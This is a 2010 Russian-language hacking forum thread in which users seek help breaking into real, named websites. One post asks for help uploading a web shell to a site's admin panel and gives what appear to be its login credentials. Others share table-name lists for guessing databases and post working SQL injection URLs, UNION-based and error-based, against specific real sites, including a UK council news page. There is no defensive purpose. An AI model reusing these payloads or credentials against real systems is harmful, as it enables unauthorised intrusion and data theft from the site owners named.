ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 02.06.2010, 21:38
FlaktW
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами: 8803961

Репутация: 8
По умолчанию

Помогите залить шелл!

http://www.arnold.ee/admin/

Arnold:040286
 
Ответить с цитированием

  #2  
Старый 03.06.2010, 01:08
GOGA075
Участник форума
Регистрация: 30.03.2008
Сообщений: 208
С нами: 9534473

Репутация: 18
По умолчанию

Где можно регнуть базу данных MySQL так что бы можно запускать скрипты на взломанном сервере, а база данных была отдельно??
P.S. сори немного не по теме может!!
 
Ответить с цитированием

  #3  
Старый 03.06.2010, 01:26
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами: 9642449

Репутация: 606


По умолчанию

Цитата:
Сообщение от GOGA075  
Где можно регнуть базу данных MySQL так что бы можно запускать скрипты на взломанном сервере, а база данных была отдельно??
P.S. сори немного не по теме может!!

http://www.freemysql.net/
http://www.freesql.org/freesql/mysql
 
Ответить с цитированием

Кто может дать названия имен таблиц и столбцов?
  #4  
Старый 03.06.2010, 01:30
Monaxdixon
Новичок
Регистрация: 18.05.2010
Сообщений: 1
С нами: 8412920

Репутация: 0
По умолчанию Кто может дать названия имен таблиц и столбцов?

Мне не понятно какие именна подбирать?
 
Ответить с цитированием

  #5  
Старый 03.06.2010, 01:40
GOGA075
Участник форума
Регистрация: 30.03.2008
Сообщений: 208
С нами: 9534473

Репутация: 18
По умолчанию

Monaxdixon
Чаще всего что то типо
user users admin mysql members phpbb_users
и так далее!!
Вот список из 650 таблиц которые чаще всего бывают
http://narod.ru/disk/21459300000/tabl.rar.html

Последний раз редактировалось GOGA075; 03.06.2010 в 01:45..
 
Ответить с цитированием

  #6  
Старый 03.06.2010, 02:05
[ DSU ]
Участник форума
Регистрация: 22.10.2007
Сообщений: 159
С нами: 9765026

Репутация: 397
По умолчанию

скачай SIPT с ним идет небольшой словарик таблиц, думаю хватит ибо если там нет то обычно тогда идет просто долбанутый префикс к нажваниям таблы который просто так не брутанеш
 
Ответить с цитированием

Microsoft JET Database Engine error '80040e14'
  #7  
Старый 03.06.2010, 07:50
haito
Новичок
Регистрация: 27.05.2010
Сообщений: 13
С нами: 8399502

Репутация: 0
По умолчанию Microsoft JET Database Engine error '80040e14'

Этот сайт является пользователем таблицы
http://www.southend.gov.uk/news/default.asp?id=946'

Microsoft JET Database Engine error '80040e14'
Syntax error in string in query expression 'releaseID =946' ORDER BY displayOrder DESC'.

/news/includes/applogic_head.asp, line 23

Поэтому мы получили синтаксической ошибки в " FROM clasue.", когда мы используем union?
так, как мы можем придать этот сайт?

http://www.southend.gov.uk/news/default.asp?id=-946+union+select+1,2%20from%20user--

Microsoft JET Database Engine error '80004005'

Syntax error in FROM clause.

/news/includes/applogic_head.asp, line 23
 
Ответить с цитированием

  #8  
Старый 03.06.2010, 11:34
haito
Новичок
Регистрация: 27.05.2010
Сообщений: 13
С нами: 8399502

Репутация: 0
По умолчанию

привет команде;

Можно ли придать этим сайтом? потому что я пытался, но никакого результата

http://www.aquaticplantcentral.com/forumapc/plantfinder/details.php?id=36%27

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''36''' at line 1

http://www.aquaticplantcentral.com/forumapc/plantfinder/details.php?id=36%20order%20by%201000-- <-true
 
Ответить с цитированием

  #9  
Старый 03.06.2010, 12:23
.:[melkiy]:.
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
С нами: 9100556

Репутация: 912
По умолчанию

Цитата:
Сообщение от haito  
привет команде;

Можно ли придать этим сайтом? потому что я пытался, но никакого результата

http://www.aquaticplantcentral.com/forumapc/plantfinder/details.php?id=36%27

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''36''' at line 1

http://www.aquaticplantcentral.com/forumapc/plantfinder/details.php?id=36%20order%20by%201000-- <-true
_http://www.aquaticplantcentral.com/forumapc/plantfinder/details.php?id=-36'+union+select+1,version(),3,4,5,6,7,8,9,10,11,1 2,13,14,15,16,17,18,19,20,21,22--+

Цитата:
Сообщение от FlaktW  
Здесь есть SQL-inj?

http://www.bigr.nl/website/structure/main.php?page=people&subpage=person&id=51'+order+b y+1000+--+

_http://www.bigr.nl/website/index.php?page=people&subpage=person&id=JifkeVeenl and')+and+substring(version(),1,1)=5+and+('1'='1

или через ошибку

_http://www.bigr.nl/website/index.php?page=people&subpage=person&id=JifkeVeenl and')+and+(SELECT+COUNT(*)+FROM+(SELECT+1+UNION+SE LECT+2+UNION+SELECT+3)x+GROUP+BY+CONCAT(MID(VERSIO N(),1,63),+FLOOR(RAND(0)*2)))+and+('1'='1

не смог больше ничего придумать..

Последний раз редактировалось .:[melkiy]:.; 03.06.2010 в 12:39..
 
Ответить с цитированием

  #10  
Старый 03.06.2010, 13:17
FlaktW
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами: 8803961

Репутация: 8
По умолчанию

Цитата:
http://www.bigr.nl/website/index.php?page=people&subpage=person&id=JifkeVeenl and')+and+substring(version(),1,1)=5+and+('1'='1

или через ошибку

_http://www.bigr.nl/website/index.php?page=people&subpage=person&id=JifkeVeenl and')+and+(SELECT+COUNT(*)+FROM+(SELECT+1+UNION+SE LECT+2+UNION+SELECT+3)x+GROUP+BY+CONCAT(MID(VERSIO N(),1,63),+FLOOR(RAND(0)*2)))+and+('1'='1

не смог больше ничего придумать..
Класс!

Последний раз редактировалось FlaktW; 03.06.2010 в 13:24..
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 8 (пользователей: 0 , гостей: 8)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.